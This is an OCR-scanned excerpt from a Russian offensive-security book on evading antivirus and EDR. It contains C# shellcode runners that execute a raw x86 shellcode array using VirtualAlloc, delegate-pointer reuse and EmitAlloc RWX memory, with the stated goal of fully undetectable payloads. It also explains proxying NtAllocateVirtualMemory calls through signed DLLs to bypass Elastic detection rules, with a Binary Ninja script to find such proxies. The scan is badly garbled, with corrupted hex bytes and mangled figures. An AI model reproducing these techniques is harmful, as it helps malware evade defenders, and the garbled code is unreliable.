Способы обхода средств защиты информации
--1 11.u1toPмc-~CJIU)
О6щме - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
~•усюоноА-м: ~ - - - - - - - - - - - - - - ~
Б2) O n - """"'1нту O{ВUG
0
~--ТRАС(
u.-,,_..,..,,,_
0
~ 3 2·- -
i;a ,_......,_..."""
1
□ ~"""
OWil6ltи мn__...
--------------------------
~11,.n_мo_Olllll6«il - - - - - - - - - - - - - - - - - - - - - -
..
в_,.ые»ннwе
---------------------------О61ор...
8ых0Ано!I~
О хмt.•~-.,~ ~p,,pot,,tn, _ _ _ il<:l..,~OOМ
1-
ео,..,..<6-_м:
::: --J
t
Рис.
22.5.
Необходимая опция
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType,
uint flProtect);
static void Main(string[] args)
{
byte[] x86shc = new byte[193]
Oxfc, Охе8, Ох82, ОхОО, ОхОО,
Ох8Ь,
ОхОс,
ОхОО,
ОхбО,
Ох89,
OxeS,
ОхЗl,ОхсО, Ох64,
Ох8Ь,
OxSO,
ОхЗО,
Ох8Ь,
Ох52,
Ох14,
Ох8Ь,
Ох72,
Ох28,
Ох0f,ОхЬ7,
Ох4а,
Ох26,
ОхЗl,
Oxff,
Охас,
ОхЗс,
Охбl,
Ох7с,
Ох02,
Ох2с,
Ох20,
Охе2,
Ох8Ь,
Ох52,
OxlO,
Ох8Ь,
Ох4а,
ОхЗс,
Oxcl, Oxcf, OxOd, OxOl,
Ох8Ь, Ох4с, Oxll,Ox78,
Охс7,
Ох57,
ОхеЗ,
Ох48,
Oxf2, Ох52,
OxOl, Oxdl,
Ох51,
Ох8Ь,
Ох59,
Ох20,
OxOl,
ОхdЗ,
Ох8Ь,
Ох49,
Ох18,
ОхеЗ, ОхЗа,
Ох49,
Ох8Ь,
Ох34,
Ох8Ь,
OxOl, Охdб,
Ox7d, Oxf8,
ОхЗl,
Oxff,
Ox7d,
Охас,
Oxcl, Oxcf, OxOd, OxOl,
Охс7,Ох38,
ОхеО,
Ох75,
Охfб,
ОхОЗ,
Ох24,
Ох75,
Охе4,
Ох58,
OxOl,OxdЗ,
Охбб,
Ох8Ь,
Oxlc, OxOl,
Ох24, OxSb, OxSb, Охбl, Ох59, OxSa,
Ox8d, OxSd, Охба, OxOl, Ox8d, Ох85,
Ох87, Oxff, OxdS, ОхЬЬ, OxfO, ОхЬS,
ОхdЗ,
ОхЗЬ,
Ох8Ь,
Ох58,
Ох24,
ОхЗс,
ОхОб,
Ох7с,
ОхОа,
ОхВО,
ОхfЬ,
ОхеО,
OxOl,OxdO, Ох89, Ох44, Ох24,
Oxff, ОхеО, OxSf, OxSf, Ох5а,Ох8Ь, Ох12, ОхеЬ,
ОхОО, ОхОО, ОхОО, OxSO, Ох68, ОхЗl, Ох8Ь, Охбf,
Ох56,Ох68, Охаб, Ох95, ОхЬd, Ox9d, Oxff, OxdS,
Ох75, OxOS, ОхЬЬ, Ох47, ОхlЗ, Ох72,Охбf, Охба,
ОхОО,
ОхSЗ,
Oxff, OxdS,
ОхбЗ,
Охбl,
Охбс,
ОхбЗ,
ОхОс,
f;
Ох52,
Ох4Ь,
ОхВЬ,
Ох58,
Ох51,
ОхЬ2,
Оха2,
Ох8Ь,
Ох04,
Ох8Ь,
Ох2е,
ОхбS,
Ох78,
Ох65,
ОхОО
Глава
22.
Замена для
WinAPI. Пишем раннер
Рис.
22.6.
для шелл-кода на чистом
.NET
Успешное выполнение кода
var size = xBбshc.Length;
var addr = VirtualAlloc(IntPtr .Zero, Ox l OOO ,
CustomCopy(xBбshc, О, addr, size);
ОхЗООО,
Ох40);
Thread thread = new Thread ( 1) =>
IntPtr functionPtr = addr ;
ExecuteShellcode(functionPtrl;
11;
thread.Start();
thread.Join();
static void CustomCopy(byte[] source, int start lndex, IntPtr destination, int length )
unsafe
byte* destPtr
(byte*)destination.ToPointer();
435
436
Часть
for (int i
=
destPtr[i]
111.
Способы обхода средств защиты информации
startlndex; i < length; i++)
=
source[i];
static void ExecuteShellcode(Intptr funcAddr)
var func
func ();
= Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate void FuncType();
Остается самое сложное -
выделять исполняемую память без VirtualAlloc ().
Выделяем исполняемую память без
WinAPI
Делегаты
Ранее мы рассмотрели способ с вызовом метода GetDelegateForFunctionPointer (), но знаете
ли вы, чrо сущесгвует и обратный метод? Его имя
- GetFunctionPointerForDelegate ()
(https://leam.microsoft.com/ru-ru/dotnet/api/system.runtime.interopservices.marshal.
getfunctionpointerfordelegate?view=net-8.0). Этот метод позволяет получить адрес
делегата в памяти. Догадываетесь, что делать дальше? Флоу простой:
1.
Создаем новый делегат.
2.
Делегат
-
функция. Функция
-
исполняемый код. Поэтому адрес делегата -
исполняемая память.
3.
Получаем адрес делегата.
4.
Копируем по этому адресу шелл-код.
5.
Получаем новый делегат по адресу.
6.
Передаем поток управления.
7.
Шелл-код исполняется.
Это достаточно известный метод, и его имя
using System;
using System.Runtime.InteropServices;
namespace DelegateTest
class Program
-
DouЫe
Delegate.
Глава
22.
puЫic
puЫic
Замена для
WinAPI.
Пишем раннер для шелл-кода на чистом
437
.NET
delegate void Callback();
static void Action() ()
delegate void CallingDelegate();
static void Main()
var shellcode = new byte[] (Oxfc,Ox48,0x81,0xe4 ... )
Callback myAction = new Callback(Action);
IntPtr pMyAction = Marshal.GetFunctionPointerForDelegate(myAction);
Marshal.Copy(shellcode,
О,
pMyAction, shellcode.Length);
CallingDelegate callingDelegate ~
Marshal.GetDelegateForFunctionPointer<CallingDelegate>(pMyAction);
callingDelegate();
Однако есть еще один метод, который позволяет именно выделять память, а не
заимствовать чужую.
EmitAlloc()
Этот метод использует АР\
System.Reflection.Emit для выделения произвольного
объема памяти. Он работает путем многократного вызова метода EmitWriteLine(),
который перебирает переданное количество байтов, а затем вычитает по
18
байт из
этого значения при каждой итерации цикла.
18 байт.
(https://learn.microsoft.com/en-us/
dotnet/a pi/system. run time.com pilerservices.runtimehel pers. preparemethod ?view=
net-8.0), который позволяет подготовить память, чтобы ее использовала СLR
Это значит, что при каждом вызове метода Emi tWri teLine () выделяется по
После
чего
происходит
вызов
PrepareMethod 1)
платформа.
Механизм был обнаружен исследователем Диланом Траном. Автор любезно пре
GitHub gists (https://gist.github.com/susMdT/2dl3330f6a5Ьfa482555e224
доставил
30с0еЬ82) со всем необходимым кодом. Поэтому переделать нашу программу под
использование
using
using
using
using
using
using
EmitAlloc 1)
не составит труда.
System;
System.Reflection.Emit;
System.Reflection;
System.Runtime.CompilerServices;
System.Runtime.InteropServices;
System.Threading;
438
Часть
111.
ОхОО,
Способы обхода средств защиты информации
namespace ConsoleAppl
class Program
static void Main(string[] args)
{
byte[] x86shc: new byte[193]
Oxfc, Охе8, Ох82, ОхОО, ОхОО,
ОхбО,
Ох89,
OxeS,
ОхЗl,ОхсО,
Ох64,
Ох8Ь,
OxSO,
ОхЗО,
Ох8Ь, Ох52,
Ох14, Ох8Ь,
Ох72,
Ох28,
ОхОf,ОхЬ7,
Ох4а,
Ох26,
ОхЗl,
Oxff,
Охбl,
Ох7с,
Ох02,
Ох2с, Ох20,
Охе2,
OxlO,
Ох8Ь, Ох4а,
ОхЗс,
Oxcl, Oxcf, OxOd,OxOl,
Ох8Ь, Ох4с, Oxll, Ох78,
Охс7,
Ох52,
ОхеЗ,
Ох48,
Oxf2, Ох52,
OxOl, Oxdl,
Ох59,
Ох20,
OxOl,
ОхdЗ,
Ох8Ь,
Ох49,
Ох18, ОхеЗ,ОхЗа,
Ох49,
Ох8Ь,
Ох34,
Ох8Ь,
ОхЗl,
Oxff,
Ox7d,
Охас,
Oxcl, Oxcf, OxOd, OxOl,
ОхеО,
Ох75,
Охfб,
ОхОЗ,
Ох24,
Ох75,
Охе4,
Ох58, Ох8Ь, Ох58, Ох24,
OxOl,OxdЗ,
Охбб,
Ох8Ь,
Oxlc, OxOl,
Ох24, OxSb, OxSb, Охбl, Ох59, OxSa,
Ox8d, OxSd, Охба, OxOl, Ox8d, Ох85,
Ох87, Oxff, OxdS, ОхЬЬ, OxfO, ОхЬS,
ОхdЗ,
Ох8Ь,
Ох52,
ОхОс,
Охас,
ОхЗс,
Ох57,
Ох8Ь,
Ох51,
Ох8Ь,
OxOl, Охdб,
Ox7d, Oxf8,
ОхОс, Ох4Ь,
ОхЗЬ,
Ох80, ОхfЬ,
ОхеО,
OxOl,OxdO, Ох89, Ох44, Ох24,
Oxff, ОхеО, OxSf, OxSf, Ох5а,Ох8Ь, Ох12, ОхеЬ,
ОхОО, ОхОО, OxOO,OxSO, Ох68, ОхЗl, Ох8Ь, Охбf,
Ох56,Ох68, Охаб, Ох95, ОхЬd, Ox9d, Oxff, OxdS,
Ох75, OxOS, ОхЬЬ, Ох47, ОхlЗ, Ох72, Охбf, Охба,
ОхбЗ,
Охбс,
ОхбЗ,
Ох8Ь, Ох58,
ОхЗс,
ОхОб,
Ох7с,
ОхОа,
ОхОО,
ОхSЗ,
Oxff, OxdS,
Охс7,Ох38,
Охбl,
Ох51,
ОхЬ2,
Оха2,
Ох8Ь, Ох04,
Ох8Ь,
Ох65,
Ох2е,
Ох78,
Ох65, ОхОО
};
var size : x86shc.Length;
var addr :
GenerateRWXМemory(size);
CustornCopy(x86shc,
О,
addr, size);
Thread thread: new Thread(() :>
IntPtr functionPtr: addr;
ExecuteShellcode(functionPtr);
1);
thread.Start();
thread. Join () ;
static void CustornCopy(byte[] source, int startindex, IntPtr destination, int length)
unsafe
byte* destPtr: (byte*)destination.ToPointer();
for (int i : startindex; i < length; i++)
destPtr[i] : source[i];
Глава
22.
puЫic
Замена для
WinAPI.
static IntPtr
Пишем раннер для шелл-кода на чистом
GenerateRWXМemory(int
AssemЬlyName AssemЬlyName
= new
AssemЬlyBuilder AssemЬlyBuilder
.NET
439
ByteCount)
AssemЬlyName("AssemЬly");
=
AppDomain.CurrentDomain.DefineDynamicAssemЬly(AssemЬlyName,
AssemЬlyBuilderAccess.Run);
ModuleBuilder ModuleBuilder = AssemЬlyBuilder.DefineDynamicModule("Module");
MethodВuilder MethodВuilder = ModuleBuilder.DefineGlobalMethod(
"MethodName",
MethodAttributes.PuЬlic I MethodAttributes.Static,
typeof(void), //arbitrary return type hehexd
new Туре[] { )) ; // no args, but no real reason
ILGenerator il = MethodВuilder.GetILGenerator();
(Ох48, Ох83, Охес, Ох28) [4]
// suЬ rsp,28h
// Every Emit.WriteLine results in 18 bytes
// mov rcx, 1D3E2F736A8h
(Охе8, Ох7а, Ох07, Ох45, Ох5е) [5]
// rcx,qword ptr [rcx]
(Ох48, Ох8Ь, Ох09) [3]
// call mscorlib_ni 1System.Console.Write1ine (Ох48, ОхЬ9, Оха8, ОхЗб, Oxf7,
Ox2d, ОхЗО, OxlO,
// Ends with
! ! ret IОхсЗ) [ 1]
while (ByteCount > О)
Охе2,
ОхОО)
[10]
i 1 . Emi tWr i teLine ("bruh") ;
ByteCount -= 18;
11.Emit(OpCodes.Ret);
// JIТ to ОхсЗ
ModuleBuilder.CreateGlobalFunctions();
RuntimeMethodНandle mh = ModuleBuilder.GetMethods()
RuntimeHelpers.PrepareMethod(mh);
return mh.GetFunctionPointer();
[О] .MethodНandle;
static void ExecuteShellcode(IntPtr funcAddr)
var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr);
func();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate void FuncType();
Подробный анализ такого метода выделения памяти можно почитать в блоrе Пета
ра Праника:
https://ipslav.github.io/2023-12-12-let-me-manage-your-appdomain/
440
Часть
111.
Способы обхода средств защиты информации
Заключение
Нам удалось успешно избавиться от использования методов
WinAPI,
что позволяет
сделать шелл-код-раннер более скрытным. Помните: если вы хотите предотвратить
обнаружение вашей нагрузки антивирусом, то нужно мыслить шире и делать не
так, как все. Как только вы начинаете отходить от известных способов обхода
антивируса, сразу же получаете нагрузки, близкие к
FUD.
ГЛАВА
23
Обсрусцируем вызовы
WinAPI
новыми способами
Все крутые вредоносы стараются прятать использование вызовов
WinAPI,
ведь на
личие подозрительных функций в коде может привести к блокировке исполнения
нашей программы. Существует не так много документированных способов скрыть
вызовы
WinAPI,
однако у меня есть пара любопытных разработок, и я готов ими
поделиться. Мы попрактикуемся в сканировании памяти, исследовании компонен
тов
Windows
и даже немного затронем
RPC.
Как вы знаете, любой, даже самый страшный «вирус»
-
это обычная программа,
которая использует те же механизмы и функции, что и легитимный софт. Можно
сказать, идет злоупотребление функциями, дОС1)'ПНЫМИ любому разработчику.
Иногда встречается абуз недокументированных возможностей. Одним словом
-
хакерство!
Вердикт о признании программы вредоносной антивирус выносит после анализа
и сопоставления множества фактов, но основополагающим всегда будет анализ ис
пользуемых функций в коде. Анализировать можно разные вещи: хуки, таблицы
импортов, поток исполнения, в сложных случаях может производиться быстрая
(см. главу 17), пря
Hashing (https://
API
тать 1А Т, (https://xakep.ru/2023/09/05/hiding-iat/), применять
xakep.ru/2023/10/06/api-hashing/) и предотвращать загрузку DLL (см. главу 18).
декомпиляция. Хакеры, в свою очередь, научились анхукать
Представьте, а что, если бы мы смогли избежать использования подозрительных
функций? Буквально: не трогаем всякие опасные штуки, а нас не трогает анти
вирус!
Например, вместо virtualAllocEx () можно дергать что-нибудь альтернативное, как
мы это делали в главе
12
про шелл-код-раннер на чистом С#. И это возможно!
Существует несколько техник, позволяющих идти обходным путем, не затрагивая
«подозрительные» методы или всячески скрывая их использование.
Часть
442
1/1.
Способы обхода средств защиты информации
Проксирование вызовов
Теория
У западных коллег эта техника называется
Proxy lnvoke.
Она основана на том, что
хакер обнаруживает такую функцию, которая дергает нужные вещи, «проксируя»
вызов. Фактически идет злоупотребление чужими обвязками над существующими
методами.
Пример: у нас есть функция ZwProtectVirtualMemory () , она позволяет изменить разре
шения памяти . Считается, так скажем, не самой безобидной, ведь с ее помощью
можно пометить адресное пространство как исполняемое. При попытке ее исполь
зования
может
вылезти
алерт,
например
у
Elastic (https://github.com/elastic/
protections-artifacts/ЫoЬ/c b45629514acefc68a9d08111 Ь3а 76bc90e52238/behavior/
rules/defense_evasion_suspicious_api_call_from_an_unsigned_dll.toml,
рис.
23.1 ).
Rule
Malicious Behavlor Detection Alert : VirtuaJProtect API Call from an Unslgned DLL
Mallcious Behavlor Detectlon Alert : Suspiclous API Call from an
Uмlgned
Maliclous Behavior Detection Alert : ExecutaЫe
Ьу
Неар
Allocatlon
DLL
Unslgned Module
Maliclous Behavior Detectlon Alert: Network Module Loaded from Suspicious Unbacked Memory
Mallcloos Behavior Detectlon Alert: Perslstence via
а
Process from
а Removaыe
or Mounted ISO Devtce
Mallcloos Behavior Detectlon Alert: Suspicious Strlng Value Written to Reglstry Run
Кеу
Mallcious Behav1or Detectlon Alert: Unslgned DLL from Susplcious Dfrectory
Malfcious Behavlor Detectfon Alert; System Blnary Proxy Executlon via ScrfptRunner
Рис.
23.1.
Пример алерта
ИНТЕРЕСНОЕ по ТЕМЕ
•
DouЫing Down: Detecting ln- Memory Threats with Kernel ЕТW Call Stacks:
https://www.elastlc.co/securlty-labs/douЫing-down-etw-callstacks.
•
Твит
@dez_: https://x.com/dez_/status/1765041607328624791 .
Нас интересует этот: Virtua\Protect API Cal\ from an Unsigned DLL. Логика детекта
проста: если функция вызывается из адресного пространства неподписанной биб
лиотеки, то вызов считается вредоносным. Подобные рассуждения имеют право на
жизнь, ведь зачем обычному разработчику дергать Zw-функцию из своей програм
мы? Явно что-то нечисто ...
Обход такого детекта возможен через проксирование. Нам нужно найти легитим
ный, подписанный бинарь с экспортируемой функцией, которая передает поток
управления в целевую функцию.
Был такой поток управления:
malware - ntdll!ZwProtectVirtualMemory
Глава
23. Обфусциеrем вызовы WinAPI новыми способами
443
Станет вот такой:
malware
➔
signed!SomeFuncToProtectMernory
➔
ntdll!ZwProtectVirtualMernory
И детекта не будет! Ведь цепочка вызовов начинается из легитимной, подписанной
библиотеки. Схожую логику в чуть более упрощенном формате предлагает ин
струмент Parasite-Invoke (https://github.com/МzНmO/Parasite-Invoke). Однако он
работает только с программами на С#.
С некоторой натяжкой можно сказать, что подобное проксирование когда-то побе
дило на премии
#toc04).
Pentest Award (https://xakep.ru/2023/09/27/pentest-award-bypass/
Конечно, там еще использовалась подмена оригинального метода, однако
логика осталась
схожей:
имитация
активности,
происходящей из легитимного
модуля.
Обнаружение прокси-функций
Таблица экспортов/импортов
Есть путь простой, а есть путь самурая. Начнем с простого. Он заключается в том,
чтобы быстро проанализировать все существующие в системе подписанные
DLL
и определить использование в них функций, до которых мы можем дотянуться.
Варианта два.
□ Можем идти от таблицы импортов. Например, видим импорт
ZwProtectVirtualMernory (),
после чего находим место, в котором эта функция дергается, и смотрим, есть ли
возможность контроля аргументов.
□ Можем
идти
от
таблицы
экспортов.
Например,
видим
экспорт
функции
AllocateAndProtectSomeMernory (), догадываемся о потенциально интересной функцио
нальности и исследуем эту функцию.
Для
подобного
анализа
подойдет
скрипт
findSymbols.py (https://github.com/
mgeeky/Penetration-Testing-Tools/ЬloЬ/master/windows/findSymbols.py).
Например, вот так можно обнаружить все импорты функции
(рис.
MiniDumpWriteDump()
23.2).
А так- проанализировать экспорть1 (рис.
python
.\findSymЬols.py
23.3):
"c:\windows\system32" -s "memory"
-е
Однако далеко не все функции объявляются экспортируемыми, поэтому можно
прибегнуть к анализу символов, как я это делал в SymProcAddress
также
(https://github.com/МzНmO/SymProcAddress), разбор- в моей статье на «Хабра
хабре»: https://habr.com/ru/articles/829892/. Но все равно как-то много «если» и
лишнего ресерча. Хочется автоматизировать и сразу дергать нужную функцию,
правда? А вот это уже бусидо!
Бинарный анализ
Путь самурая
мощью
API
-
автоматизировать этап исследования бинарных файлов с по
какого-нибудь декомпилера. Этот метод я стащил у чувака с ником
Часть
444
Рис.
23.2.
Пример запуска
Рис.
23.3.
///.
Способы обхода средств защиты информации
findSymbols.py
с анализом импортов
Пример запуска с анализом экспортов
Глава
23.
WinAPI новыми способами
Обфусцируем вызовы
cryptoplague
445
(bttps://Ьlog.cryptoplague.net/main/research/windows-research/proxy
aUoc~ading-ntaUocatevirtualmemory-detection-ft.-elastic-defend-and-Ьinary-ninja).
Он использует
DLL.
Binary Ninja
для автоматизации анализа подписанных библиотек
Рассмотрим его код подробнее.
import os
import binaryninja
from binaryninja import highlevelil
signed_dlls_path; r'C:\0sers\user\source\repos\SignedDllAnalyzer\signed_dlls.tx t'
with open(signed_dlls_path, "r") as f:
signed_dlls ; [dll.strip() for dll in f]
total_dlls; len(signed_dlls)
with open(signed_dlls_path, "r") as f:
current dll; О
for signed_dll_path in f:
current dll +; 1
signed_dll _path ; signed_dll _path. strip ()
dll_name; signed_dll_path.split('\\\') (-1)
dll_size_mЬ; os.path.getsize(signed_dll_path) / 1024 / 1024
progress; f"(current_dll)/{total_dlls)"
if dll size mЬ > 15:
print(f"[-] [{progressl] [(dll_name)] [{dll_size_mЬ:.2f) > 15 МВ]")
continue
print(f"[*] [{progress)] [{dll_name)] [{dll_size_mЬ:.2f) МВ]")
with binaryninja.load(signed_dll_path, update_analysis;False) as binary_view:
ntAllocateVirtualМemorySymЬol;
binary_view.get_symЬol_by_raw_name("NtAllocateVirtual.Мemory")
if not ntAllocateVirtualMemorySymЬol:
continue
else:
print(f"(+J [(progress)] [(dll_name)] [NtAllocateVirtualМeпюry]")
binary_view.set_analysis_hold(False)
binary_view.update_analysis_and_wait()
code_refs; binary_view.get_code_refs(ntAllocateVirtualMemorySymЬol.address)
for ref in code refs:
try:
func; binary_view.get_functions_containing(ref.address) [О]
hlil_instr; func.get_llil_at(ref.address).hlil
for operand in hlil_instr.operands:
if type(operand) = HighLevelILCall:
if operand.dest.value.value =
ntAllocateVirtualMenюrySymЬol.address:
hlil_call; operand
break
Часть
446
111.
Способы обхода средств защиты информации
args = hlil_call.params
protect = args[5]
regionSize = args[З]
if type(protect) == HighLevelILVar:
if protect.var not in func.parameter_vars:
continue
if type(regionSize) == HighLevelILVar:
if regionSize.var not in func.parameter_vars:
if type(protect) == HighLevelILConst:
if int(protect.value) != Ох40:
continue
if type(regionSize) == HighLevelILConst:
if int(regionSize.value) <= OxlOOOO:
continue
print(f"[+] [{progress)] [{dll_name)] [{hex(ref.address) )] [{hlil_instr)]"I
except Exception as е:
print(f"[x] [{progress)] [{dll_name)] [{е)]")
Давайте разберем скрипт пошагово, тут есть несколько нетривиальных моментов.
Итак, все начинается с чтения текстового файла, в котором лежат пути с подписан
ными библиотеками. Например, C:\Windows\System32.
import os
import Ыnaryninja
from Ыnaryninja import highlevelil
signed_dlls_path = r'C:\Osers\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'
with open(signed_dlls_path, "r") as f:
signed_dlls = [dll.strip(I for dll in f]
total_dlls = len(signed_dlls)
Затем в цикле анализируется каждая библиотека.
with open(signed_dlls_path, "r") as f:
current dll = О
for signed_dll_path in f:
current dll += 1
signed_dll_path = signed_dll_path.strip()
dll_name = signed_dll_path.split('\\\'I (-1]
dll_size_mЬ = os.path.getsize(signed_dll_path) / 1024 / 1024
progress = f"{current_dll)/{total_dlls)"
if dll size mЬ > 15:
print(f"[-] [{progress)] [{dll_name)] [{dll_size_mЬ:.2f) > 15
continue
print(f" [*] [ (progress)] [ (dll_name)] [ {dll_size_mЬ: .2f} МВ]")
with Ыnaryninja.load(signed_dll_path, update_analysis=False) as
МВ]")
Ыnary_v1ew:
Глава
23.
Обфусцируем вызовы
WinAPI новыми
способами
447
Дальше программа проверяет размер каждой библиотеки и не анализирует те, что
занимают больше
15
Binary Ninja для
Мбайт. Те, что меньше, передаются в
ного анализа через метод
load () .
Здесь важно знать, что у
Binary Ninja
есть не только GШ, но и
API,
бинар
через который
можно загрузить бинарный файл и провести некоторый автоматический анализ.
Бинарник будет представлен в виде объекта
BinaryView
(https://api.Ьinary.ninja/
cpp/group_Ьinaryview.html#class_Ьinary_ninja_l_l_Ьinary_view), он же bv в до
кументации. Он предоставляет набор методов по работе с файлом, например полу
чение списка функций.
»> bv
<BinaryView: '/bin/1s', start OxlOOOOOOOO, len Ox182f8>
>>> len(bv.functions)
140
Через BinaryView можно извлечь класс Function (https://api.Ьinary.oioja/cpp/
group_ function.html#class _ Ьinary_ ninja_ 1_ 1_ function ), который указывает на
(неожиданно!) функцию в коде.
Функция будет представлена в виде
BNIL -
Это особый вид ассемблерных инструкций для
LLIL,
МLIL,
lll.,IL, Pseudo-C,
Binary Ninja Intermediate Language.
Binary Ninja. Есть несколько форм:
они различаются глубиной абстракции. Чем выше
уровень, тем более человекочитаемый код мы получаем. Чем ниже, тем более при
ближенный к тому, что исполняет компьютер.
Огдельно поддерживается отображение в форме
SSA (Static Single Assignment).
Это
такой механизм оптимизации кода компилятором, главный концепт которого
-
присвоение конкретной переменной значения только в одном месте в коде.
Наш алгоритм поиска функций будет таким:
1.
Получить
2.
3.
4.
Обнаружить, что используется нужная нам функция.
BinaryView.
Определить место, из которого вызывается нужная нам функция.
Убедиться, что мы можем контролировать аргументы, передаваемые в функции.
Это все автоматизируется с помощью
Binary Ninja.
Сначала делаем поиск символа.
Если символа нет, значит, и использования функции нет.
ntAllocateVirtualMemorySymЬol
= Ьinary_view.get_symЬol_by_raw_name("NtAllocateVirtualMemory")
if not ntAllocateVirtualMemorySymЬol:
continue
else:
print (f" [ +] [ {progress)] [ {dll _name)] [NtAllocateVirtualMemory] ")
Убедившись, что метод присутствует, запускаем анализ. Метод set_analysis_hold()
(https://api.Ьinary.oioja/Ьioarynioja.Ьinaryview-module.html#Ьioaryninja.Ьinary
view.BinaryView.set_analysis_hold)
«включает анализ», а
update_analysis_and_wait()
(https://api.Ьinary.ninja/Ьinaryninja.Ьinaryview-module.html#Ьinaryninja.Ьinary
view .BinaryView .update_analysis_aod_wait) его
осуществляет.
Часть
448
111.
Способы обхода средств защиты информации
binary_view.set_analysis hold(False)
binary_view.update_analysis_and_wait()
После того как BN провел анализ бинарного кода, можно приступать к пункту три.
Обнаруживаем места, ссылающиеся на нужный нам метод, через get _code_ refs ()
(bttps://api.Ьinary.ninja/Ьinaryninja.Ьinaryview-module.btml#Ьinaryninja.
Ьinaryview .BinaryView .get_code_ refs ).
code_refs =
binary_view.get_code_refs(ntAllocateVirtualMemorySymЬol.address)
Затем пробегаемся в цикле по всем ссылкам, находя функции, которые ссылаются
на нужный нам метод.
for ref in code refs:
try:
func = binary_view.get functions_containing(ref.address)
[О]
Далее убеждаемся, что происходит именно вызов функции, а не просто ссылка на
адрес.
hlil instr = func.get_llil_at(ref.address) .hlil
for operand in hlil_instr.operands:
if type(operand) == HighLevelILCall:
if operand.dest.value.value == ntAllocateVirtualMemorySymЬol.address:
hlil call = operand
break
Для этого мы получаем
LLIL
(низкоуровневое представление инструкций) по адре
су, следующим шагом конвертируем в НLIL и убеждаемся по наличию операнда
сан, что происходит вызов функции.
Наконец, получаем параметры функции, а также анализируем, можем ли мы воз
действовать на эти переменные из параметров функции-обертки.
args = hlil_call.params
protect = args[5]
regionSize = args[З]
if type(protect) == HighLevelILVar:
if protect.var not in func.parameter_vars: #
Проверка на наличие в параметрах родительской
функции
continue
if type(regionSize) = HighLevelILVar:
if regionSize.var not in func.parameter_vars:
if type(protect) == HighLevelILConst:
if int(protect.value) != Ох40:
continue
if type(regionSize) = HighLevelILConst:
if int(regionSize.value) <= OxlOOOO:
continue
print(f"[+] [{progress)] [(dll_name)] [(hex(ref.address) }] [{hlil_instr}]")
Глава
Обфусциеrем вызовы
23.
449
новыми способами
WinAPI
•
["] ( 694 / 1418 ] [ ver1fier . dll ] [ 0.38 М8]
[ •] ( 694 / 1418 ] (v er1f i er.dll ] [ NtAllocateVirtualмemory]
[•] ( 694 / 1418 ) [ ver1f1er . dll ] [ 0х180002930 ] [ int32 _t rax_6 • NtAllocateV1rtualMemory(•l, &var_70, 0,
,.,
&var _60, 0х1000 , ( sbb . d ( rcx, rcx, ( a r gl & 0х40000 ) ! • 0 ) & 0х3с) + 4 ) )
[•] ( 694 / 1418 ] [ ver1fier.dll] [ 0xl800063d0] [ NtAllocateVirtualMemory(•l, argl, 0, arg2, 0х1000, argЗ ) ]
[•] [ 694 / 1418] [ verifier . dll] [ 0xl80006S7e] ( NtAllocateV1rtuaiHemory (- l, argl, 0, arg2, v.i;'_BB, var_80_1)]
Рис.
f i't'
f d1t
lu-np
v.,..,
~f(!\
--_. -..._.
°"'°"'
Q ...... . 'li'lllt.'
,_: ....,,
• OO·'·""""'r.Ja_
_ _ _
....... ..,,,. .......
,,
IZI -
23.4.
Пример работы
~р
- ~m 111rr
.а ·•.,.~-,,..х. :
--
[]
х
i1В
u,,t"
l[ZI
1
2{
r•F'8.Jl.lkЧ
11
812
13
8 14
815
8 ,.
• 17
818
819
28
8 21
)
t.1of1
..,...,._
[]
,,
f
}
в
•l.s•
24
{
• 25
х
."'
29
........
!Ю
PSIЦ_T
• lttQuвySystlМ.lnfonut:ion (Sy s trilPrr-fotWanCrlnforution, Syste.Jnforwation ,
if ( Event < 8 )
~turn ( unsicм,d int ) Event ;
if ( 188 • vtl / vl2 > AVrfp{)pЖaJISyst,.,idrC~i~r11t )
EV№t
LAВEL_B,
fvent • - 187374182J;
}
Jl LAl!El_l8 c
J1
•н
8 34
if ( Ev~nt >• 8 )
~turn ( unsiened int )Nt:AJ loиtrVir-t:u.1"e80ry (
00001-tn ~ ~-o.r:~ : 1
'
In ~ • l . t~ ~ i l r r chкlu
to dr:t~in@ if it is ~ad-onJy .
tм
s rpe1t prrwis sions, cl•ss , ilnd
с1моо2оn)
na.r
-) ()1(
188834094 : us ine gufi,Sr-d typr int AVrfp()pН\uSyst,-fi~ tPr:rc~t;
1888828F8 : us iлc ~sr-d typr chair- Syrt.ealnforaation[48];
1888828F8: u s iлe ---sr-d ._,_ char Evrntlnforмtion(41 •
-
=,
11
id.l•
.....
Oia.k: 406&
Рис.
32
33
34
35
а
23.5.
Обнаруженная функция
LAВEL_10:
if ( Event >= 0)
return ( unsigned
int )нt:Allo cateVirtualМeпюry(
( НANDLE )0xFFFFFFFFFFFFFFFFiб4,
BaseAddress,
36
37
38
39
0i64,
RegionSize ,
0x1000u,
Protect );
140
141 return (unsigned int ) Event ;
142 }
Рис.
![)
R~cionSi-ze_, UlOl«i Protect )
if ( ( unsignr-d int )AVгfpOpН\;u[Syste81f~itPerc~t > : 8хб4 )
{
i f ( AVrfp[)pН'taxSyst.~ida:o.ii tP~ eit - -1 )
{
Ev~t • Nt~ryEv~t(Hie,h(~it(onditionEv~t , EvrntВasicinforwation, Ev~tl11f0f"8ation ,
if( fw-nt <8)
r-rtum ( unsigrted int ) Event ;
if ( v9 1= 1 )
eoto LAВEL_t8 ;
goto LA8El_8;
)
Event " 8 ;
п
.26
8 27
8 28
..........
а
-
.
---1•
-
есх
char EvмtlnfOМW1tion ( 4 ) ; 1/ (rsp-+Jeh) [rЬр 198h] ВYREF
int \'О ; // (rsp.-3Ah] [гЬр - 194h}
cf'l•r SystмinfOП161'.ior1 [ 48 J ; // (пp+40ti] {гt,p-18Sh] BVREF
int V'll ; // [r-<J;p-+7eh) (rЬр 1'>8h]
unsi,cned int v12; // [rsp+74h] [rЬp - lW';]
Eve-it; //
---=
•e.s~S!,
4
8
9
8 18
<
а
Qph((81itмt..oryForP•cefil!•P ( PY010
.,._,
NТSTAТUS
•7
.,
-·
i1В
а
f•stc:eU
(jj}
з
s
,ii .._
_
► IDD 1 • .......
_ _____
23.6.
Вызов функции
8х1~ .
Вu ,
8164);
8164);
Часть
450
111.
Способы обхода средств защиты информации
С помощью этого скрипта получилось обнаружить место, в котором используется
функция NtAllocateVirtualMemory ( 1 внутри verifier. dll (рис.
